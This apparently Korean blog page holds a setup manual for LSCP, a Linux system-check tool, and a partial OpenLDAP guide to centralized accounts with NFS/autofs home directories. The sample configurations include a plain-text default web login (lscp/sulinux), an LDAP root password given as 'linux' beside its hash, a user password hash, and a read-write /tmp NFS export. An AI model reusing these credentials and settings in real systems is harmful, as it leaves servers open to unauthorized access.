블로그 이미지
redkite

카테고리

분류 전체보기 (291)
00.SI프로젝트 산출물 (0)
00.센터 운영 문서 (0)
01.DBMS ============.. (0)
01.오라클 (117)
01.MS-SQL (15)
01.MySQL (30)
01.PostgreSql (0)
01.DB튜닝 (28)
====================.. (0)
02.SERVER ==========.. (0)
02.서버-공통 (11)
02.서버-Linux (58)
02.서버-Unix (12)
02.서버-Windows (2)
====================.. (0)
03.APPLICATION =====.. (11)
====================.. (0)
04.ETC =============.. (0)
04.보안 (5)
====================.. (0)
05.개인자료 (1)
06.캠핑관련 (0)
07.OA관련 (1)
Total
Today
Yesterday

달력

« » 2025.5
1 2 3
4 5 6 7 8 9 10
11 12 13 14 15 16 17
18 19 20 21 22 23 24
25 26 27 28 29 30 31

공지사항

최근에 올라온 글


https://www.sulinux.net/bbs/board.php?bo_table=news_2&wr_id=190

 

리눅스 시스템의 점검을 자동 화 하는 툴인 SSU의 업데이트 버전을 다음과 같이 출시했습니다. 많은 관심 바랍니다.


LSCP(Linux System Check Project)는 리눅스 시스템의 보안, 상태, 리소스를 효율적으로 점검하기 위한 프로그램이다.


 

   인터넷이 발달함에 따라 웹서비스의 비중이 커졌으며 웹서버를 구동하는 OS중 반 이상을 리눅스를 사용하고 있다. 그리하여 리눅스를 사용하는 부류들도 전문 리눅스 사용자에서 일반 사용자로 그 분포가 확산되고 있는 실정이다. 이런 일반 사용자는 시스템을 초기 1회 구축 후 방치하게 되는 경우가 대부분이다. 모든 시스템의 가장 중요한 것이 점검 및 백업이다. 백업은 초기 구축으로 자동화 가능하나 점검 부분은 많은 시스템, 하드웨어, 보안 관련 지식을 필요로 하기 때문에 많은 어려움이 따른다. 이 어려운 시스템 점검 부분은 여러 요소로 나뉘며 보안, 시스템 리소스, 시스템 상태를 효율적이고 쉽게 점검 할 수 있는 솔루션이 필요하다. 시스템 자원 사용률을 조사하여 업그레이드시기를 알려주는 시스템 리소스 분석, 시스템 상태를 파악하여 비정상 프로그램 실행 등을 분석하는 시스템 상태 분석, 시스템 접근 및 포트, 프로세스, 파일등 보안요소를 점검하여 해킹 및 공격여부를 미리 알아 낼 수 있는 보안 점검 기능을 가진 리눅스 시스템 점검 프로그램이 필요하다. 이러한 요구사항에 LSCP는 완벽한 해결책을 제시한다.


1.1.1.1. 주요 기능

  1.1.1.1.1. 보안 점검 기능

    - 백도어, Root소유 SetUid파일, tmp 점검

    - LISTEN port 점검

    - Linux 기본 방화벽 점검

    - 실행 프로세스 점검

    - 하루 동안 변경된 파일 점검

    - chkrootkit 이용한 rootkit 점검

    - 초기 실행 스크립트 점검

    - 중요 파일 속성 및 퍼미션 점검

    - 계정 점검

    - 접속자 점검


  1.1.1.1.2. 리소스 점검 기능

    - 부하, 프로세스, 트래픽, 메모리 점검 (그래프)

    - 디스크 파티션 점검 (그래프)

    - cpu 버전, 가동 시간 점검


  1.1.1.1.3. 시스템 상태 점검 기능

    - 용량큰 파일 점검

    - Mail Queue 점검

    - LOG 파일 점검

    - CRON 설정 점검

    - 사용자 정보


  1.1.1.1.4. 문제점 보고

   - 문제점 보고


  1.1.1.1.5. 월간 리포팅 기능(월간 보고서)

    - 하드웨어 정보점검

    - 소프트웨어 정보 점검

    - 네트워크 정보점검

    - 월간 서버 부하 점검

    - 월간 프로세스 수 변화 점검

    - 월간 트래픽 변화량 점검

    - 월간 메모리 사용량 점검

    - 월간 디스크 사용량 점검

    - 기타 정보 점검

    - 사용자 정보 점검


1.1.1.1. 다운로드 

1.1.1.1.1. 다운로드

소스 코드 및 프로그램은 다음 사이트에서 다운로드 할 수 있습니다.

(소스포지에 프로젝트로 등록 완료)

https://sourceforge.net/projects/lscp/


1.1.1.1.2. 기술지원

본 프로그램에 대한 기술지원은 다음 사이트에서 받을 수 있습니다.

( 버그 및 개선점 또한 아래 사이트를 이용하여 제안 바랍니다.)

https://sourceforge.net/tracker/?group_id=260142


1.1.1.2. 설치 전 고려 사항

- 웹서버 : LSCP의 결과는 HTML형태로 출력되지만, 웹 서버는 포함 되어 있지 않다. 그러므로 Apache, tomcat등의 웹서버가 필요하다.

- CRON : LSCP의 주기적인 실행은 CRON의 도움을 받는다. 


1.1.1.3. 라이센스

본 LSCP의 라이센스는 GPL을 따르며, 원문은 소스코드의 COPYING 파일을 참고하거나, 웹사이트(http://www.gnu.org/licenses/)를 참고하길 바란다.


1.1.1. LSCP 설치

1.1.1.1. 프로그램 설치

1.1.1.1.1. 프로그램 다운로드

- 프로젝트 사이트 방문 : https://sourceforge.net/projects/lscp/


 

프로젝트 사이트 방문 후 중간에 “Download Now"를 눌러 프로그램을 다운로드 받는다. 그런 다음 LSCP를 설치 할 리눅스 시스템에 업로드 시킨 후 다음 단계에서 설치한다.


1.1.1.1.2. 프로그램 설치

LSCP 설치는 다음과 같이 Unix 표준 설치법에 따라 진행한다.

tar xvfpj lscp-1.0.0.tar.bz2

cd lscp-1.0.0

./configure --prefix=/usr/local/lscp

make

make install

configure 단계에서 '--prefix' 옵션을 주어 /usr/local/lscp 아래에 프로그램을설치한다. (옵션을 주지 않으면, 기본 /usr/local/ 아래에 프로그램이 설치된다.) 


1.1.1.2. 프로그램 기본 설정

1.1.1.2.1. 설정파일 편집

LSCP는 2개의 설정파일로 이뤄진다. 설정파일의 위치는 설치시 지정한 디렉토리(본 매뉴얼을 따라 설치했다면, /usr/local/lscp가 된다)아래 conf/디렉토리 안에 존재한다.

설정파일 1 : /usr/local/lscp/conf/lscp.conf

설정파일 2 : /usr/local/lscp/conf/lscp_system_files.conf

설정파일 1 ( lscp.conf )

# This file is lscp configuration file.

# Please keep the following format:

# variable="value"

# Variables and the value = the connection, and must not have spaces.

# 사용할 LSCP 모듈 정의

conf_lscp_modules="resource_graph resource_disk backdoor listen_ports firewall status_bigfiles status_mailqueue status_cron status_users process chkrootkit modify_files init_scripts system_files users login_users resource_version status_logfiles error_report report_hw report_sw report_etc report_net"

## Administrator mail address ( 문제점 발생시 받을 메일 주소 입력 )

conf_admin_mail="관리자메일주소입력"

# min big file size(Mbyte) (큰 파일 검색시 최소 파일 크기)

conf_min_big_file_size=50

# max mailqueue count count ( 최대 메일 큐의 메일 수 )

conf_max_mailqueue_count=200

# Apache configuration file ( Apache 설정파일 및 실행 경로 지정 )

conf_httpd_conf="/usr/local/apache/conf/httpd.conf"

conf_httpd_bin="/usr/local/apache/bin"

## LSCP Result Page security ( 보안 설정 )

conf_htauth=yes

conf_htuser="lscp"

conf_htpasswd="sulinux"

# The list of Draw graph process ( max : 5 process) ( 그래프를 그릴 프로세스 )

conf_graph_process="httpd mysql"

# monitor ethernet device ( 그래프를 그릴 네트웍 디바이스 )

conf_graph_eth_dev="eth0"

# check time ( Minute must has 00,05,10 ... 55) ( 매일 점검 할 시간 )

conf_check_time="07:00"

# Archive period ( 점검 결과를 보관 할 일 수 )

conf_archive_period="60"

# safe process lists ( 문제 없는 프로세스 리스트 정의 )

conf_safe_process="awk uptime lscp_cron"

설정파일 1 ( lscp.conf )은 위의 표와 같은 항목이 있다. 모든 옵션은 ‘변수=”값“’과 같은 형식으로 설정한다. 변수와 값 사이에는 ‘=’ 이외의 공백이 들어가면 작동하지 않는다. (예) a ="b" 또는 a= "b" 는 작동하지 않음)


지시자 정의

conf_lscp_modules

LSCP의 여러 기능을 가진 단위 모듈의 사용 여부를 지정한다. 여러 모듈을 열거 할 수 있으며, 모듈과 모듈 사이에는 공백으로 띄워 구분한다.

예) conf_lscp_modules="resource_graph resource_disk"

conf_admin_mail

LSCP에 의해 시스템을 점검 한 결과 문제점이 발생되면, 메일을 보내게 된다. 이 문제점에 대한 내용을 받을 메일 주소를 입력한다.

예) conf_admin_mail="doly@sulinux.net"

conf_min_big_file_size

LSCP 큰 파일 점검 모듈에서 기준으로 사용할 파일 사이즈이다. 명시한 사이즈 이상인 파일만 리스팅 하게 된다. (단뒤: MByte)

예) conf_min_big_file_size=50

conf_max_mailqueue_count

LSCP 메일 큐 점검 모듈에서 기준으로 사용할 메일 큐에 쌓이 메일 수이다. 명시한 수 이상의 메일이 쌓였을 때 점검 문제점 보고에 출력하고, 메일을 발송하게 된다.

예) conf_max_mailqueue_count=200

conf_httpd_conf

LSCP에서 웹서버 설정 도메인 등을 조사하기 위해 아파치 설정파일(httpd.conf)를 사용한다. 이 httpd.conf파일의 위치를 지정한다.

예) conf_httpd_conf="/usr/local/apache/conf/httpd.conf"

conf_httpd_bin

웹서버(아파치)의 실행프로그램 경로를 지정한다.

예) conf_httpd_bin="/usr/local/apache/bin"

conf_htauth

웹서버(아파치)의 페이지 보안 설정기능을 사용하여 웹페이지 접근을 통제를 할 것인지 여부를 결정한다. ( 입력 값 : yes 또는 no )

예) conf_htauth=yes

conf_htuser

웹서버(아파치)의 페이지 보안 설정기능을 사용한다면(conf_htauth=yes) 인증할 사용자를 설정한다.

예) conf_htuser="lscp"

conf_htpasswd

웹서버(아파치)의 페이지 보안 설정기능을 사용한다면(conf_htauth=yes) 인증할 사용자의 비밀번호를 설정한다.

예) conf_htpasswd="sulinux"

conf_graph_process

LSCP 자원 그래프 모듈에서 프로세스 수를 그래프로 보여준다. 그래프에서 보여줄 프로세스 종류를 선택한다. 프로세스는 여러개 그릴 수 있으며, 공백으로 구분하여 열거한다. (최대 5개)

예) conf_graph_process="httpd mysql"

conf_graph_eth_dev

LSCP 자원 그래프 모듈에서 이더넷 인터페이스에 대한 트래픽을 그래프로 그린다. 리눅스 시스템에는 있는 여러 인터페이스 중 그래프를 그릴 디바이스를 선택하기 위해 본 지시자를 사용한다.

예) conf_graph_eth_dev="eth0"

conf_check_time

LSCP는 cron에 의해 5분에 1회 실행된다. 시스템의 전반적인 상황은 매 분 점검하게 되면, 시스템에 많은 부하를 주게 된다. 시스템 전반적인 점검은 하루에 1회 수행한다. 수행하는 시간을 설정하는 지시자이다.

예) conf_check_time="07:00"

conf_archive_period

LSCP는 매일 전반적으로 시스템을 점검하게 된다. 이 점검 된 결과는 시간이 지나서 필요할 때가 있다. 그렇지만, 너무 많이 남게 되면, 많은 디스크 공간을 필요로 하기 때문에 주기적으로 지워주는 것이 필요하다. 본 지시자를 사용하여 점검 결과를 보관할 기간을 정할 수 있다.

예) conf_archive_period="60"

conf_safe_process

LSCP의 실행 프로세스 점검기능에서 안전한 프로세스가 수상한 프로세스로 오탐하는 경우가 있다. 이러한 경우 안전한 프로세스 명을 넣어 줄 수 있는 지시자이다.

예) conf_safe_process="awk uptime lscp_cron"

설정파일 2 ( lscp_system_files.conf )

# This file is lscp configuration file(system file list for lscp_mod_system_files)

# Please keep the following format:

# /path/files

/bin/chgrp

/bin/chmod

/bin/chown

/bin/cp

/bin/df

## 중간 생략 ##

/usr/bin/passwd

/usr/bin/pstree

/usr/bin/ssh

/usr/bin/top

/usr/bin/w

/usr/bin/wget

/usr/bin/who

/usr/sbin/lsof

/usr/sbin/sendmail

설정파일 2 (lscp_system_files.conf)는 시스템의 중요한 파일을 열거해 ‘중요파일 점검’시 점검하게 될 항목들을 명시한다.

⋇ 설정 변경 후에는 lscp_init 을 실행한다.


1.1.1.1.1. 점검 DB 초기화

LSCP 설치 후 초기에 각 리눅스 시스템의 초기 정보를 저장하게 된다. 다음 명령어를 사용하여 저장한다.

명령어 위치 : 프로그램설치경로/bin/lscp_init

예) /usr/local/lscp/bin/lscp_init

[root@sul2-64bit bin]# ./lscp_init

1. 초기화중 lscp_mod_resource_graph ..... [ 활동 없음 ]

2. 초기화중 lscp_mod_resource_disk ..... [ 확인 ]

3. 초기화중 lscp_mod_backdoor ..... [ 확인 ]

4. 초기화중 lscp_mod_listen_ports ..... [ 확인 ]

5. 초기화중 lscp_mod_firewall ..... [ 확인 ]

6. 초기화중 lscp_mod_status_bigfiles ..... [ 활동 없음 ]

7. 초기화중 lscp_mod_status_mailqueue ..... [ 활동 없음 ]

8. 초기화중 lscp_mod_status_cron ..... [ 활동 없음 ]

9. 초기화중 lscp_mod_status_users ..... [ 활동 없음 ]

10. 초기화중 lscp_mod_process ..... [ 확인 ]

11. 초기화중 lscp_mod_chkrootkit ..... [ 확인 ]

12. 초기화중 lscp_mod_modify_files ..... [ 활동 없음 ]

13. 초기화중 lscp_mod_init_scripts ..... [ 확인 ]

14. 초기화중 lscp_mod_system_files ..... [ 확인 ]

15. 초기화중 lscp_mod_users ..... [ 활동 없음 ]

16. 초기화중 lscp_mod_login_users ..... [ 활동 없음 ]

17. 초기화중 lscp_mod_resource_version ..... [ 활동 없음 ]

18. 초기화중 lscp_mod_status_logfiles ..... [ 활동 없음 ]

19. 초기화중 lscp_mod_error_report ..... [ 활동 없음 ]

20. 초기화중 lscp_mod_report_hw ..... [ 활동 없음 ]

21. 초기화중 lscp_mod_report_sw ..... [ 활동 없음 ]

22. 초기화중 lscp_mod_report_etc ..... [ 활동 없음 ]

23. 초기화중 lscp_mod_report_net ..... [ 활동 없음 ]


1.1.1.1.2. 웹서버 설정

LSCP는 점검 결과를 HTML형태로 출력하며, 웹서버의 도움을 받아 웹으로 보여주게 된다. 웹 서버 설정은 다음과 같이 한다.

아파치(Apache) 웹서버

설정파일(httpd.conf)파일을 열어 다음과 같이 가상호스트에 추가한다.

( Apache 2.2.x의 경우는 extra/httpd-vhosts.conf에 설정한다.)

NameVirtualHost *:80

<VirtualHost *:80>

DocumentRoot /usr/local/lscp/result_html

ServerName lscp.도메인

<Directory /usr/local/lscp/result_html>

AllowOverride AuthConfig

</Directory>

</VirtualHost>

위와 같이 서브 도메인을 할당하여 설정한다.

⋇ 설정 변경 후에는 웹서버를 재시작 한다.

⋇ 웹서버의 종류 및 버전에 따라 설정법은 차이가 있으니, 각 웹서버 매뉴얼을 참조 하기 바란다.


1.1.1. 사용법 ( 점검 결과 확인 )

1.1.1.1. 초기 점검 결과 확인

LSCP 프로그램 설치 후 바로, 결과 페이지를 확인하지는 못한다. 이유는 리눅스 시스템 점검 프로그램이기 때문에 점검을 수행하거나, 정보를 수집하여 보여주기 때문이다. 프로그램 설치 후 5분 이내에 접속하게 되면, 아무런 페이지 및 결과를 확인할 수 없으며, 5분이 지난 후 다음과 같이 확인된다.

1.1.1.1.1. 사용자 인증

LSCP 결과를 아무나보지 못하게 lscp.conf 설정에서 htauth를 사용하게 설정하였다면, 다음과 같은 아이디/비밀번호 입력창이 뜰 것이다.


 

사용자 이름 및 암호를 lscp.conf 설정된 값을 입력하면 다음 화면을 만나게 된다.

1.1.1.1.2. LSCP 메인 화면

LSCP를 처음 설치하고, 결과를 확인하면 다음과 같은 결과를 보게 될 것이다.


 

위 점검 결과는 시스템의 부하만을 볼 수 있으며, 다른 점검결과를 볼 수 없다. 이는 시스템의 전반적 점검이 수행되지 않아서 이며, 좌측 상단의 “점검항목”에 보여지는 명령어를 다음과 같이 수행한다.

[root@sul2-64bit result_html]# cd /usr/local/lscp/bin

[root@sul2-64bit bin]# ./lscp_cron --check

1. 점검중 lscp_mod_resource_graph ..... [ 활동 없음 ]

2. 점검중 lscp_mod_resource_disk ..... [ 확인 ]

3. 점검중 lscp_mod_backdoor ..... [ 확인 ]

4. 점검중 lscp_mod_listen_ports ..... [ 확인 ]

5. 점검중 lscp_mod_firewall ..... [ 확인 ]

6. 점검중 lscp_mod_status_bigfiles ..... [ 확인 ]

7. 점검중 lscp_mod_status_mailqueue ..... [ 확인 ]

8. 점검중 lscp_mod_status_cron ..... [ 확인 ]

9. 점검중 lscp_mod_status_users ..... [ 확인 ]

10. 점검중 lscp_mod_process ..... [ 확인 ]

11. 점검중 lscp_mod_chkrootkit ..... [ 확인 ]

12. 점검중 lscp_mod_modify_files ..... [ 확인 ]

13. 점검중 lscp_mod_init_scripts ..... [ 확인 ]

14. 점검중 lscp_mod_system_files ..... [ 확인 ]

15. 점검중 lscp_mod_users ..... [ 확인 ]

16. 점검중 lscp_mod_login_users ..... [ 확인 ]

17. 점검중 lscp_mod_resource_version ..... [ 확인 ]

18. 점검중 lscp_mod_status_logfiles ..... [ 확인 ]

19. 점검중 lscp_mod_error_report ..... [ 메뉴 생성 안함 ]

20. 점검중 lscp_mod_report_hw ..... [ 메뉴 생성 안함 ]

21. 점검중 lscp_mod_report_sw ..... [ 메뉴 생성 안함 ]

22. 점검중 lscp_mod_report_etc ..... [ 메뉴 생성 안함 ]

23. 점검중 lscp_mod_report_net ..... [ 메뉴 생성 안함 ]

위 명령어 수행 후 다음과 같은 결과를 확인 할 수 있다.


 

위 결과와 같이 좌측 상단에 “점검항목”이 표시되는 것을 확인 할 수 있다.

“월간보고” 기능역시 명령어를 실행 시켜 결과를 확인 할 수 있다.

 

'04.보안' 카테고리의 다른 글

[보안]LDAP을 이용한 통합계정관리  (0) 2012.12.19
[보안]Radius 서버 구축 관련 자료  (0) 2012.12.19
[보안]Syn Flooding 공격 대응  (0) 2012.12.19
[보안]웹쉘 대응방법  (0) 2012.12.19
Posted by redkite
, |

0002. LDAP을 이용한 통합계정관리

ㅇ 문서소개
- openldap을 이용하여 계정통합을 하는 부분에 대한 자료는 여러가지가 있는데 이 문서는 거기에 TLS 암호화 통신, 각호스트별 접속 제한 등의 내용을 더 추가하였습니다.
- 가장 먼저 LDAP을 통하여 사용자 인증을 통합합니다.
- 사용자 계정에 대한 홈디렉토리는 nfs와 autofs 를 이용하여 중앙관리합니다. 각 서버별로 홈디텍로리를 따로 관리할 필요가 없습니다.
- autofs 설정에 대한 부분도 ldap 디렉토리에 넣어서 개별서버마다 설정을 할 필요가 없도록 합니다.
- autofs 는 사용자가 로그인했을 경우에만 홈디렉토리를 마운트하는 것입니다.
- 사용자, 그룹 추가, 삭제, 변경에 대한 부분은 cpu 라는 프로그램을 이용하여 중앙관리합니다. 굳이 ldap 명령어를 쓰지 않아도 되어 편리합니다.
- 각 호스트별로 접속할 수 있는 사용자를 제한합니다. LDAP을 쓰면 중앙집중적으로 사용자를 관리하지만 각 개별서버별로 접속제한을 해야 할 경우도 있습니다.
- TLS 암호화 통신을 이용하여 보안을 강화합니다.
- ldap 에 지정되지 않은 로컬사용자도 접속이 가능하도록 합니다.

ㅇ 주의사항
- 본 내용은 Redhat Enterprise Linux 3 에서 테스팅을 한 내용이며 다른 리눅스 배포판에서도 비슷하게 적용이 가능합니다.
- LDAP 에 대한 소개가 아니므로 이에 대한 설명은 다른 문서를 참고하시기 바랍니다.
- 본 문서에 내용을 추가한다면 ftp, apache 등에서의 ldap 인증부분, Windows 와의 인증통합 부분등이 있을 것입니다.

================================================
관련자료
http://www.linuxjournal.com/node/6266/print : OpenLDAP Everywhere - openldap 을 통한 계정통합 및 autofs 에 대한 내용. 상세한 세팅내용이 담겨있음. 이번에 주로 참고하였음.
http://www.linuxjournal.com/article/5505 : Highly Available LDAP - 공개 ha 프로그램을 이용하한 ldap ha 구성에 대한 내용임.
O'REILLY 의 LDAP System Administration 서적

http://database.sarang.net/?inc=read&aid=1243&criteria=ldap&subcrit=tuto... : LDAP의 모든것 ver 20011126 - 국내에 ldap 에 대한 한글자료가 별로 없는데 그나마 상세하게 ldap 에 대한 설명이 들은 한글문서입니다.

http://www.samag.com/documents/s=9494/sam0502a/0502a.htm : Centralized User Management with Kerberos and LDAP - kerberos, ldap을 이용한 사용자 통합에 대한 문서로 cpu 프로그램에 대한 소개가 있음

**************** 사전 확인
dc 정하기
rootpw 설정
계정정책 : UID 범위
계정관리프로그램 cpu 사용 여부

openldap-devel : openldap 과 연관된 프로그램을 개발할때 필요함. cpu 프로그램을 사용해야 할 경우 필요함
openldap : OpenLDAP 서버와 클라이언트 프로그램을 실행하기 위한 라이브러리
openldap-clients : client 프로그램
openldap-servers : server 프로그램
nss_ldap : NSS library and PAM module for LDAP

**************** ldap 서버설정

/etc/openldap/slapd.conf 에서 rootpw 를 추가함. 이를 통하여 root 권한 인증 사용함
아래 패스워드는 slappasswd 를 이용하여 생성함

[root@localhost openldap]# diff slapd.conf.orig slapd.conf
71a72
> rootpw {SSHA}HwbKjO6Omoxk2Sswm8NbHZbCx9LxextJ

# grep -v "^#" /etc/openldap/slapd.conf
include /etc/openldap/schema/core.schema
include /etc/openldap/schema/cosine.schema
include /etc/openldap/schema/inetorgperson.schema
include /etc/openldap/schema/nis.schema
include /etc/openldap/schema/redhat/autofs.schema
include /etc/openldap/schema/redhat/kerberosobject.schema

database ldbm
suffix "dc=isoc,dc=com"
rootdn "cn=Manager,dc=isoc,dc=com"
rootpw {SSHA}HwbKjO6Omoxk2Sswm8NbHZbCx9LxextJ
directory /var/lib/ldap
index objectClass,uid,uidNumber,gidNumber,memberUid eq
index cn,mail,surname,givenname eq,subinitial

#access control
access to attr=userPassword
by self write
by anonymous auth
by dn="cn=manager,dc=isoc,dc=com" write
by * compare
access to *
by self write
by dn="cn=manager,dc=isoc,dc=com" write
by * read

** rootpw 는 linux

ㅇ ldap server 세팅
위에서 suffix 를 조정하고 rootdn도 이와 맞추며 rootpw 를 설정하면 됨

# /etc/init.d/ldap start
Starting slapd: [ OK ]

**************** 기본 정보 입력
ㅇ directory structure 생성

아래 내용을 top.ldif 로 저장

dn: dc=isoc,dc=com
objectclass: dcObject
objectclass: organization
o: isoc Company
dc:isoc

dn: cn=manager, dc=isoc, dc=com
objectclass: organizationalRole
cn: manager

dn: ou=people, dc=isoc, dc=com
ou: people
objectclass: organizationalUnit
objectclass: domainRelatedObject
associatedDomain: isoc.com

dn: ou=contacts,ou=people, dc=isoc, dc=com
ou: contacts
ou: people
objectclass: organizationalUnit
objectclass: domainRelatedObject
associatedDomain: isoc.com

dn: ou=group, dc=isoc, dc=com
ou: group
objectclass: organizationalUnit
objectclass: domainRelatedObject
associatedDomain: isoc.com

# ldapadd -x -D 'cn=manager,dc=isoc,dc=com' -W -f top.ldif
Enter LDAP Password:
adding new entry "dc=isoc,dc=com"

adding new entry "cn=manager, dc=isoc, dc=com"

adding new entry "ou=people, dc=isoc, dc=com"

adding new entry "ou=contacts,ou=people, dc=isoc, dc=com"

adding new entry "ou=group, dc=isoc, dc=com"

** -w password 로 해도 됨. -W 는 명령행에서 입력

위에서 입력한 내용을 검색하기

# ldapsearch -x -b 'dc=isoc,dc=com'
version: 2

#
# filter: (objectclass=*)
# requesting: ALL
#

# isoc, com
dn: dc=isoc,dc=com
objectClass: dcObject
objectClass: organization
o: isoc Company
dc: isoc

# manager, isoc, com
dn: cn=manager, dc=isoc, dc=com
objectClass: organizationalRole
cn: manager

# people, isoc, com
dn: ou=people, dc=isoc, dc=com
ou: people
objectClass: organizationalUnit
objectClass: domainRelatedObject
associatedDomain: isoc.com

# contacts, people, isoc, com
dn: ou=contacts,ou=people, dc=isoc, dc=com
ou: contacts
ou: people
objectClass: organizationalUnit
objectClass: domainRelatedObject
associatedDomain: isoc.com

# group, isoc, com
dn: ou=group, dc=isoc, dc=com
ou: group
objectClass: organizationalUnit
objectClass: domainRelatedObject
associatedDomain: isoc.com

# search result
search: 2
result: 0 Success

# numResponses: 6
# numEntries: 5

** 옵션참고
-x : simple authentication
-D : binddn
-f file
-W : prompt for simple authentication
-b : searchbase

**************** 계정추가하기

ㅇ ldap 으로 단일한 리눅스 로그인 만들기
System accounts : UID < 500
Real people in LDAP : 499 < UID < 10,000
Local users, groups (not in LDAP ) > 10,000

ㅇ 로컬 컴퓨터 사용자 엔트리 만들기
ldaptest 라는 계정을 만들며 uid 1000 gid 1000으로 하고 홈디렉토리는 /home/ldaptest 로 함

# cat people.ldif
dn: uid=ldaptest,ou=people,dc=isoc,dc=com
uid: ldaptest
cn: ldap test
givenname: ldaptest
sn: sn
mail: aa@a.com
objectClass: person
objectClass: organizationalPerson
objectClass: inetOrgPerson
objectClass: account
objectClass: posixAccount
objectClass: top
objectClass: kerberosSecurityObject
objectClass: shadowAccount
userPassword: {crypt}$1$OQAQLKrD$ktucNP.aAo/w5gbuAIV6H1
shadowLastChange: 11547
shadowMax: 99999
shadowFlag: 0
krbname: lddd@isoc.com
loginShell: /bin/bash
uidNumber: 1000
gidNumber : 1000
homeDirectory: /home/ldaptest
gecos: gecos

아래와 같이 추가하여줌

# ldapadd -x -D 'cn=manager,dc=isoc,dc=com' -W -f people.ldif
Enter LDAP Password:
adding new entry "uid=ldaptest,ou=people,dc=isoc,dc=com"

아래와 같이 검색함

# ldapsearch -x -b "dc=isoc,dc=com" "(objectclass=*)"

사용자 지우기
ldapdelete -x -D 'cn=manager,dc=isoc,dc=com' 'uid=ldaptest,ou=people,dc=isoc,dc=com' -W

** 기존계정정보 이용하여 마이그레이션하기
/usr/share/openldap/migration/migrate_passwd.pl
/usr/share/openldap/migration/migrate_group.pl

사전에 migrate_common.ph 에서 몇가지 옵션을 수정함.

71 $DEFAULT_MAIL_DOMAIN = "padl.com";
74 $DEFAULT_BASE = "dc=padl,dc=com";
90 $EXTENDED_SCHEMA = 1;

ㅇ 그룹 엔트리 만들기

# cat group.ldif
dn: cn=webdev,ou=group,dc=isoc,dc=com
objectClass: posixGroup
objectClass: top
cn: webdev
gidNumber: 2000
memberUid: ldaptest

# ldapadd -x -D 'cn=manager,dc=isoc,dc=com' -W -f group.ldif
Enter LDAP Password:
adding new entry "cn=webdev,ou=group,dc=isoc,dc=com"

2000 gid 에 해당하는 webdev 그룹을 만들기 ldaptest 를 이 그룹에 넣어줌

아래와 같이 검색함
# ldapsearch -x -b 'dc=isoc,dc=com'

**************** ldap client 설정

ㅇ ldap client 설정하기
authconfig 이용하여 설정
User Information Configuration 에서 Use LDAP 선택 -> Next -> Authentication Configuration 에서 Use LDAP Authentication 사용함. Server 및 Base DN에 적당하게 값을 넣음. 여기서는 dc=isoc,dc=com

# diff /etc/ldap.conf.orig /etc/ldap.conf
18c18
< base dc=example,dc=com
---
> base dc=isoc,dc=com

# diff /etc/openldap/ldap.conf.orig /etc/openldap/ldap.conf
16c16
< BASE dc=example,dc=com
---
> BASE dc=isoc,dc=com

# diff /etc/nsswitch.conf.orig /etc/nsswitch.conf
33,35c33,35
< passwd: files
< shadow: files
< group: files
---
> passwd: files ldap
> shadow: files ldap
> group: files ldap
53c53
< protocols: files
---
> protocols: files ldap
55c55
< services: files
---
> services: files ldap
57c57
< netgroup: files
---
> netgroup: files ldap
61c61
< automount: files
---
> automount: files ldap

** 위와 같이 바꾼후 해당 대몬 프로그램을 재시작해야 인증을 ldap 이용함. sshd 에서도 재시작하지 않는 경우 제대로 인증을 하지 못했음

**************** user 변경 프로그램

http://cpu.sourceforge.net/ 최신버전 다운로드

openldap-devel 필요함

./configure --prefix=/usr/local/cpu
make
make install

이제 /usr/local/cpu 에 프로그램이 설치가 된다.

grep isoc /usr/local/cpu/etc/cpu.conf
BIND_DN = cn=Manager,dc=isoc,dc=com
USER_BASE = ou=People,dc=isoc,dc=com
GROUP_BASE = ou=Group,dc=isoc,dc=com

위와 같이 dn을 바꾸어준다.

#HASH = "md5"
HASH = "crypt"

HASH 를 md5 에서 crypt 로 바꾸어준다.

여기서 sldapd.conf 의 root 비밀번호를 넣어주어야 한다.
BIND_PASS = xxxx

MAX_UIDNUMBER = 10000
MIN_UIDNUMBER = 1000
MAX_GIDNUMBER = 10000
MIN_GIDNUMBER = 1000

MIN_UIDNUMBER, MIN_GIDNUMBER 를 100에서 적절한 값으로 바꾼다.

# /usr/local/cpu/sbin/cpu useradd test
# /usr/local/cpu/sbin/cpu userdel test
$ /usr/local/cpu/sbin/cpu usermod -p test2

[root@localhost openldap]# id test
uid=1001(test) gid=1001(test) groups=1001(test)
[root@localhost openldap]# /usr/local/cpu/sbin/cpu groupmod -g 1005 test
Group test successfully modified!
[root@localhost openldap]# id test
uid=1001(test) gid=1001 groups=1001,1005(test)
[root@localhost openldap]# /usr/local/cpu/sbin/cpu groupmod -n test222 test
Group test222 successfully modified!
[root@localhost openldap]# id test
uid=1001(test) gid=1001 groups=1001,1005(test222)

**************** nfs, autofs 세팅

ㅇ nfs 서버 세팅
# cat /etc/exports
/tmp 192.168.0.0/255.255.255.0(rw,sync)

# /etc/init.d/nfs start

ㅇ autofs 세팅
auto.master 파일이 메인파일이며 여기에서 마운트 포인트와 세부 설정파일을 지정함.
아래에서는 /home 디렉토리에 접근하는 경우 /etc/auto.home 파일을 참고하며 auto.home 은 /home 의 모든 하위 디렉토리(*)에 접근하는 경우 nfs 192.168.0.24:/tmp 의 해당 디렉토리에 마운트함

# cat /etc/auto.master
/home /etc/auto.home --timeout=5

# cat /etc/auto.home
* -rw,soft,intr 192.168.0.24:/tmp/&

home 디렉토리 공유하기 위해 automount 세팅하기 (사전에 autofs 는 세팅을 해야함)

# cat auto.master.ldif
dn: ou=auto.master,dc=isoc,dc=com
objectClass: top
objectClass: automountMap
ou: auto.master

dn: cn=/home,ou=auto.master,dc=isoc,dc=com
objectClass: automount
cn: /home
automountInformation: ldap:ou=auto.home,dc=isoc,dc=com

# ldapadd -x -D 'cn=manager,dc=isoc,dc=com' -W -f auto.master.ldif
Enter LDAP Password:
adding new entry "ou=auto.master,dc=isoc,dc=com"

adding new entry "cn=/home,ou=auto.master,dc=isoc,dc=com"

# cat auto.home.ldifc
dn: ou=auto.home,dc=isoc,dc=com
objectClass: top
objectClass: automountMap
ou: auto.home

dn: cn=/,ou=auto.home,dc=isoc,dc=com
objectClass: automount
cn: *
automountInformation: 192.168.0.24:/tmp/&

# ldapadd -x -D 'cn=manager,dc=isoc,dc=com' -W -f auto.home.ldifc
Enter LDAP Password:
adding new entry "ou=auto.home,dc=isoc,dc=com"

adding new entry "cn=test,ou=auto.home,dc=isoc,dc=com"

이렇게 하는 경우 /etc/auto.master 를 ldap 에서 사용할 수 있도록 바꾸어 줄수 있음

# cat /etc/auto.master
#/home /etc/auto.home --timeout=5
/home ldap:192.168.0.23:ou=auto.home,dc=isoc,dc=com --timeout=5

ㅇ 특정 호스트에 접속가능한 사용자 제한하기
